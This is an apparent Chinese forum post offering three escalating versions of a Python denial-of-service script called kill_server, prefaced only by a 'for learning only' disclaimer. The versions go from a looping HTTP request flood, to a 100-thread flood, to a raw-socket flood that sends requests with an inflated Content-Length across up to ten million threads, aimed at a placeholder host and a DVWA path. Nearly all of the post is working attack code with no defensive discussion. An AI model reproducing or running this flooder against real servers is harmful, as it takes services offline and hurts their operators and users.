用户:
skycoder查看:4 回复:4 评论:4 创建时间:2023-05-20T08:56:49
仅供学习使用,禁止非法用途。
1.0版本:
import urllib.request
a=0
head={'user-agent':'mozilla/5.0'}
link='https://网址.com'
def kill_server():
global a
while True:
a+=1
try:
add=urllib.request.Request(url=link,headers=head)
url=urllib.request.urlopen(url=add,timeout=7)
except:
print('发送第',a,'次请求时出错')
else:
print('发送了',a,'次请求')
kill_server()
2.0版本(加入多线程):
import urllib.request
import threading
a=0
head={'user-agent':'mozilla/5.0'}
link='网址'
def kill_server():
global a
while True:
a+=1
try:
add=urllib.request.Request(url=link,headers=head)
url=urllib.request.urlopen(url=add,timeout=7)
except Exception as ex:
print('[-]发送第'+str(a)+'次请求时出错:%s'%ex)
else:
print('[+]发送了'+str(a)+'次请求')
g=[]
for i in range(100):
g.append(threading.Thread(target=kill_server))
g[len(g)-1].start()
print('[√]线程'+str(i+1)+'已就绪')
3.0版本:
import socket
import threading
a=0
PORT = 80
HOST = "网址"
PAGE = "/DVWA"
head=("GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW喵; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
"Content-Length: 1000000000\r\n"
"\r\n" % (PAGE, HOST))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
def kill_server():
global a
global head
global s
while True:
a+=1
try:
s.send(bytes(head, encoding='utf-8'))
except Exception as ex:
print('[-]发送第'+str(a)+'次请求时出错:%s'%ex)
else:
print('[+]发送了'+str(a)+'次请求')
g=[]
for i in range(10000000):
threading.Thread(target=kill_server).start()
print('[√]线程'+str(i+1)+'已就绪')